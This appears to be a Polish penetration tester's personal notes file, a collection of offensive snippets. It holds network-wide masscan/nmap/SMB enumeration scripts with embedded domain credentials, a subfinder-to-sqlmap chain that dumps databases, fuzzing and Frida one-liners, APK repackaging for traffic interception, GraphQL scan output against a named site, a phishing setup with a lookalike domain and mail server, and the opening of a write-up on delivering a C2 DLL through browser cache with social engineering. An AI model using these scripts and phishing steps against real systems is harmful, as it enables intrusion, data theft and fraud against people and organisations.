security.ssl.errorReporting.enabled → false
security.cert_pinning.enforcement_level → 0
security.ssl.enable_ocsp_stapling → false
security.ssl.errorReporting.enabled → false
security.cert_pinning.enforcement_level → 0
security.ssl.enable_ocsp_stapling → false
Dwa skrypty co robią dużo szumu ale wpada wiele nisko wiszących owoców do koszyczka. Szybko i sprawnie. Do przeszukania wyników z smb lubię wykorzystywać https://github.com/SySS-Research/smbcrawler/tree/main
└─# cat skan_masscan.sh
#!/bin/bash
USER_DOM="w4cky"
PASS_DOM='l0l'
DOMAIN="domena"
PORTS="80,443,8080,8443,445"
RATE=10000
echo "[*] Start masscan-based scanning of 10.0.0.0/8 for ports: $PORTS"
for a in $(seq 15 255); do
PODSIEC="10.$a.0.0/16"
MASSCAN_OUT="masscan-10.$a.0.0.txt"
LIVE_FILE="live-10.$a.0.0.txt"
echo -e "\n[*] Masscan $PODSIEC..."
sudo masscan $PODSIEC -p$PORTS --rate=$RATE -oL "$MASSCAN_OUT" 2>/dev/null
if [ ! -f "$MASSCAN_OUT" ]; then
echo "[!] masscan NIE wygenerował pliku $MASSCAN_OUT – pomijam $PODSIEC"
continue
fi
awk '/^open/ {print $4}' "$MASSCAN_OUT" | sort -u > "$LIVE_FILE"
[ ! -s "$LIVE_FILE" ] && echo "[!] Brak hostów w $PODSIEC – pomijam." && continue
for ip in $(cat "$LIVE_FILE"); do
[[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] || continue
echo -e "\n[+] Skanuję hosta $ip"
PORTY=$(awk -v ip="$ip" '$4 == ip {print $3}' "$MASSCAN_OUT" | sort -n | uniq)
> urls-$ip.txt
for port in $PORTY; do
case $port in
80) echo "http://$ip" >> urls-$ip.txt ;;
8080) echo "http://$ip:8080" >> urls-$ip.txt ;;
443) echo "https://$ip" >> urls-$ip.txt ;;
8443) echo "https://$ip:8443" >> urls-$ip.txt ;;
*) ;; # inne pomiń (np. 445)
esac
done
if [ -s urls-$ip.txt ]; then
echo "[NUCLEI] nuclei -l urls-$ip.txt -silent -o nuclei-$ip.txt"
nuclei -l urls-$ip.txt -silent -o nuclei-$ip.txt
[ -s nuclei-$ip.txt ] || rm -f nuclei-$ip.txt
else
echo "[NUCLEI] Brak portów web – pomijam nuclei dla $ip"
fi
rm -f urls-$ip.txt
echo "[NMAP+SMB] nmap -sS -sV -O -Pn -p- --script smb-* $ip"
nmap -sS -sV -O -Pn -p- \
--script "smb-enum-shares,smb-enum-users,smb-os-discovery" \
--script-args "smbuser=$USER_DOM,smbpass=$PASS_DOM,smbdomain=$DOMAIN" \
$ip -oN nmap-$ip.txt
grep -qE "open|Running:|Domain|anonymous|CENTRALA" nmap-$ip.txt || rm -f nmap-$ip.txt
if command -v enum4linux-ng &>/dev/null; then
echo "[ENUM4LINUX] enum4linux-ng -A $ip -u $USER_DOM -p '****' -d $DOMAIN -o enum-$ip"
enum4linux-ng -A $ip -u $USER_DOM -p "$PASS_DOM" -d $DOMAIN -o enum-$ip
grep -qi 'Access granted\|Group\|User' enum-$ip/* 2>/dev/null || rm -rf enum-$ip
fi
done
└─# cat enum_smb.sh
#!/bin/bash
USER_DOM="w4cky"
PASS_DOM='l0l'
DOMAIN="domena"
echo "[*] Wyszukiwanie IP z portem 445 w masscan-10.*..."
IP_LIST=$(cat masscan-10.* 2>/dev/null | awk '$3 == 445 {print $4}' | sort -u)
if [ -z "$IP_LIST" ]; then
echo "[!] Nie znaleziono IP – kończę."
exit 1
fi
for ip in $IP_LIST; do
echo -e "\n[+] SMB na $ip"
echo "[CMD] smbclient -L //$ip -U '$DOMAIN\\$USER_DOM%$PASS_DOM' -g"
smbclient -L "//$ip" -U '$DOMAIN\\$USER_DOM%$PASS_DOM' -g > "smb-$ip.txt" 2>&1
if grep -q 'NT_STATUS' "smb-$ip.txt"; then
echo "[!] Błąd SMB na $ip: $(grep 'NT_STATUS' "smb-$ip.txt" | head -1)"
rm -f "smb-$ip.txt"
elif grep -q 'Disk' "smb-$ip.txt"; then
echo "[✔] Udziały zapisane do smb-$ip.txt"
else
echo "[~] Brak udziałów – czyszczę"
rm -f "smb-$ip.txt"
fi
done
echo -e "\n[✓] Zakończono."
Form: email=
JSON: {"email": ""}
🔎 Test: walidacja i obsługa błędów
📌 Obserwuj: status code, body, timing
Form: email=alicetest@example.com
JSON: {"email": " alicetest@example.com "}
🔎 Test: trimming i kanonikalizacja
📌 Obserwuj: akceptację, mail sink target
Form: email=alicetest@example.com&email=bobtest@example.com
🔎 Test: który parametr wybiera serwer (pierwszy/ostatni/merge)
📌 Obserwuj: do której skrzynki trafia wiadomość
Form: email=%61licetest%40example.com (czyli alicetest@example.com)
Zdobadz domene
Aby nakłonić odbiorców wiadomości phishingowych do kliknięcia, potrzebujesz nazwy domeny, która wygląda bardzo podobnie do oryginalnej. Możesz ręcznie zacząć zastanawiać się, jakie domeny byłyby świetne i niezbyt oczywiste, a jednocześnie wyglądałyby podobnie... Ale to zajmuje cenny czas. Aby znaleźć odpowiednie domeny, można skorzystać z narzędzi takich jak urlcrazy, które generują domeny z literówkami i warianty zbliżone do domeny oryginalnej, lub przeszukać ExpiredDomains.net w poszukiwaniu dostępnych obecnie domen o wysokiej reputacji.
ExpireDomains to w istocie kosz na śmieci, który pokazuje, jaką wartość ma wyrzucona domena... wspaniałe źródło informacji dla przeciwników!
https://hackmag.com/security/evilginx-gophish-guide/
https://www.mail-tester.com/
https://outpost24.com/blog/phishing-better-proxy-than-story/
DOMENA: account.i-wypozyczalnia.pl
A -> mail.i-wypozyczalnia.pl -> 45.141.3.55
MX -> @ -> account.i-wypozyczalnia.pl
TXT -> @ -> v=spf1 mx a ip4:45.141.3.55 ~all
TXT - > _DMARC -> v=DMARC1; p=none;
sudo apt install postfix
sudo sed -i 's|^mynetworks = 127\.0\.0\.0/8 \[::ffff:127\.0\.0\.0\]/104 \[::1\]/128|mynetworks = 127.0.0.0/8 45.141.3.55 [::ffff:127.0.0.0]/104 [::1]/128|' /etc/postfix/main.cf
#PODAJ DOMENE KTORA USTAWILES: account.i-wypozyczalnia.pl
sudo apt install opendkim opendkim-tools gcc make -y
GraphQL Cop to małe narzędzie Pythona do uruchamiania typowych testów bezpieczeństwa dla interfejsów API GraphQL. GraphQL Cop jest idealny do przeprowadzania kontroli CI/CD w GraphQL. Jest lekki i obejmuje interesujące kwestie bezpieczeństwa w GraphQL.
GraphQL Cop pozwala odtworzyć wyniki, dostarczając polecenia cURL dla wszelkich zidentyfikowanych luk w zabezpieczeniach.
Writeup odnośnie GraphQL - https://blog.koalasec.co/2500-dollars-in-bounties-hacking-graphql
https://github.com/dolevf/graphql-cop
└─# python3 graphql-cop.py -t https://sdb.ua/?q=getnciesList 1 ⨯
[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphiql)
[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /playground)
[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /console)
[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphql)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphiql)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /playground)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /console)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphql)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphiql)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /playground)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /console)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphql)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphiql)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /playground)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /console)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphql)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphiql)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /playground)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /console)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphql)
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
next
frida-ps -U |grep APK
httpx -list mexico | xargs -I {} sh -c 'clean_url=$(echo {} | sed -e "s|https://|1|g" -e "s|http://|2|g"); ffuf -u {}/FUZZ -w raft-large-words.txt -ac -c -e .txt,.php,.bak,.txt,.rar,.sql,.zip,.php_,.old,.bak,._old,._php --recursion --recursion-depth 2 >> ffuf-mexico$clean_url'
W aplikacjach webowych pamiętaj aby sprawdzać czy deweloper nie zapomniał o usunięciu plików .js.map.
Szybki skrypt w PHP i zazwyczaj dobry efekt
<?php
/**
* Created by PhpStorm.
* User: edwinsturt
* Date: 2020-06-24
* Time: 00:45
*/
$file = 'main.ff0058ad.js.map';
if(file_exists($file)) {
$json = json_decode(file_get_contents($file));
$directories = [];
foreach ($json->sources as $index => $source) {
$dir = dirname($source);
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
$data = explode('/', $source);
$file = end($data);
file_put_contents($dir . "/" . $file, $json->sourcesContent[$index]);
$files[] = $dir . "/" . $file;
}
echo "<pre>All Source codes has been extracted from map file ";
print_r($files);
}
?>
php skrypt.php i witamy env :)
naabu -s -host 192.168.1.0/24 | while read -r line; do nuclei -u "${line}" >> siec_wew ; done
nmap -iL mexico -p- --open -oG - | awk '/Up$/{print $2}' | xargs -I {} nuclei -target {} -o mexico_all-nucleisubfinder -d testphp.vulnweb.com -all -silent | gau | urldedupe | gf sqli >sql.txt; sqlmap -m sql.txt --batch --dbs --risk 2 --level 5 --random-agent | tee -a sqli.txt
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/lc/gau/v2/cmd/gau@latest
git clone https://github.com/ameenmaali/urldedupe.git;cd urldedupe;cmake CMakeLists.txt;make;cp urldedupe /usr/bin/
go install github.com/tomnomnom/gf@latest;cp ~/go/bin/gf /usr/bin/;mkdir ~/.gf;git clone https://github.com/Sherlock297/gf_patterns.git;cd gf_patterns/;cp *.json ~/.gf;gf -list
https://github.com/ptswarm/reFlutter
❯ pip3 install --upgrade --force-reinstall reflutter
Defaulting to user installation because normal site-packages is not writeable
Collecting reflutter
Downloading reflutter-0.7.8-py3-none-any.whl.metadata (9.0 kB)
Downloading reflutter-0.7.8-py3-none-any.whl (24 kB)
Installing collected packages: reflutter
Attempting uninstall: reflutter
Found existing installation: reflutter 0.7.7
Uninstalling reflutter-0.7.7:
Successfully uninstalled reflutter-0.7.7
WARNING: The script reflutter is installed in '/Users/michal/Library/Python/3.10/bin' which is not on PATH.
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed reflutter-0.7.8
USAGE:
reflutter your.(apk)|(ipa)
❯ /Users/michal/Library/Python/3.10/bin/reflutter 49406.apk
Choose an option:
1. Traffic monitoring and interception
2. Display absolute code offset for functions
[1/2]? 1
Example: (192.168.1.154) etc.
Please enter your BurpSuite IP: 192.168.51.129
Wait...
SnapshotHash: ee1eb666c76a5cb7746faf39d0b97547
The resulting apk file: ./release.RE.apk
Please sign,align the apk file
Configure Burp Suite proxy server to listen on *:8083
Proxy Tab -> Options -> Proxy Listeners -> Edit -> Binding Tab
Then enable invisible proxying in Request Handling Tab
Support Invisible Proxying -> true
DOWNLOAD:
https://github.com/patrickfav/uber-apk-signer
❯ java -jar uber-apk-signer-1.3.0.jar --apks release.RE.apk
source:
/Users/michal/Downloads
zipalign location: BUILT_IN
/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/uapksigner-2589864279722257602/mac-zipalign-33_0_216157554363753981716.tmp
keystore:
[0] 161a0018 /private/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/temp_3968706172894682738_debug.keystore (DEBUG_EMBEDDED)
01. release.RE.apk
SIGN
file: /Users/michal/Downloads/release.RE.apk (221.2 MiB)
checksum: e28f1257d549f0cb5cfe774a4ad6ffa379be58f91c74aa6630ad720fcafb253a (sha256)
- zipalign success
- sign success
VERIFY
file: /Users/michal/Downloads/release.RE-aligned-debugSigned.apk (221.34 MiB)
checksum: 6504671cfc17578de09c94f90fdd79cf9fd838de633f3b25c25ba865f5dab1d2 (sha256)
- zipalign verified
- signature verified [v3]
Subject: CN=Android Debug, OU=Android, O=US, L=US, ST=US, C=US
SHA256: 1e08a903aef9c3a721510b64ec764d01d3d094eb954161b62544ea8f187b5953 / SHA256withRSA
Expires: Thu Mar 10 21:10:05 CET 2044
[Thu Mar 14 20:07:37 CET 2024][v1.3.0]
Successfully processed 1 APKs and 0 errors in 5.43 seconds.
❯ adb install release.RE-aligned-debugSigned.apk
Performing Incremental Install
Serving...
Success
Install command complete in 527 ms
~/Downloads ❯ All files should be loaded. Notifying the device.
Wpis o tym w jak sprytny sposób dostarczyć c2 na komputer użytkownika
Podczas spotkań zespołu Red Team często korzystam z inżynierii społecznej, aby nakłonić jednego z pracowników mojego klienta do uruchomienia mojego złośliwego kodu na swoich komputerach, co umożliwi mi uzyskanie dostępu do jego systemu. Typowe podejście, jakie stosuję, polega na tym, aby do nich zadzwonić, powiedzieć, że jestem z pomocy technicznej IT, a następnie poprosić ich, aby odwiedzili oficjalnie wyglądającą stronę internetową zawierającą kod PowerShell, który muszą uruchomić, aby naprawić niektóre wymyślone problem.
Jednak to podejście jest dobrze znane dostawcom zabezpieczeń i obecnie prawie wszystkie produkty chroniące przed złośliwym oprogramowaniem i EDR będą blokować lub przynajmniej ostrzegać o każdym podejrzanie wyglądającym kodzie PowerShell, zwłaszcza o kodzie, który pobiera ładunek, a następnie go wykonuje. Chciałem znaleźć inny, bardziej ukryty sposób dostarczania ładunku docelowym użytkownikom.
Zatem pierwsze pytanie, jakie sobie zadałem, brzmiało: jakie mechanizmy są używane na co dzień przez system operacyjny, którymi mógłbym manipulować w celu dostarczania złośliwego oprogramowania? I wtedy przyszło mi do głowy: pamięć podręczna przeglądarki!
W tym poście na blogu przedstawię technikę, dzięki której osoba atakująca namawia docelowego pracownika do odwiedzenia witryny internetowej za pomocą inżynierii społecznej. Następnie witryna internetowa dyskretnie umieści ładunek DLL w pamięci podręcznej przeglądarki pod postacią obrazu. W tej samej witrynie internetowej użytkownik został zaprojektowany społecznie, aby uruchomić ładnie wyglądający program PowerShell z jedną linijką, który przenosi ładunek DLL do folderu, gdzie zostanie automatycznie wykonany. Pokażę także kilka innych interesujących rzeczy, które znalazłem na temat Defendera podczas przeprowadzania tych badań.